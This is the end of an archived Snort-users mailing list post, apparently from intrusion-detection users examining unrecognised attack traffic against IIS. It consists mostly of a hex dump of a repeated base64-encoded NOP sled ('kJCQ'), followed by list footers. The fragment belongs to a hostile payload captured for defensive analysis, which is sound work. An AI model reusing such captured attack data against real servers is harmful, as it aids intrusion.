6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 3f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 400 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 410 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 420 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 430 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 440 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 450 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 460 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 470 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 480 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 490 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 4f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 500 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 510 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 520 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 530 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 540 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 550 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 kJCQkJCQkJCQkJCQ 560 : 6B 4A 43 51 kJCQ ------------------------------------------------------- This SF.Net email is sponsored by: NEC IT Guy Games. How far can you shotput a projector? How fast can you ride your desk chair down the office luge track? If you want to score the big prize, get to know the little guy. Play to win an NEC 61" plasma display: http://www.necitguy.com/?r _______________________________________________ Snort-users mailing list Snort-users () lists sourceforge net Go to this URL to change user options or unsubscribe: https://lists.sourceforge.net/lists/listinfo/snort-users Snort-users list archive: http://www.geocrawler.com/redir-sf.php3?list=snort-users
Current thread:
- Unrecognized attack patterns against IIS Michael Scheidell (Jun 11)
- Re: Unrecognized attack patterns against IIS TPanaitescu (Jun 11)
- <Possible follow-ups>
- FW: Unrecognized attack patterns against IIS Michael Scheidell (Jun 11)
- Re: Unrecognized attack patterns against IIS TPanaitescu (Jun 11)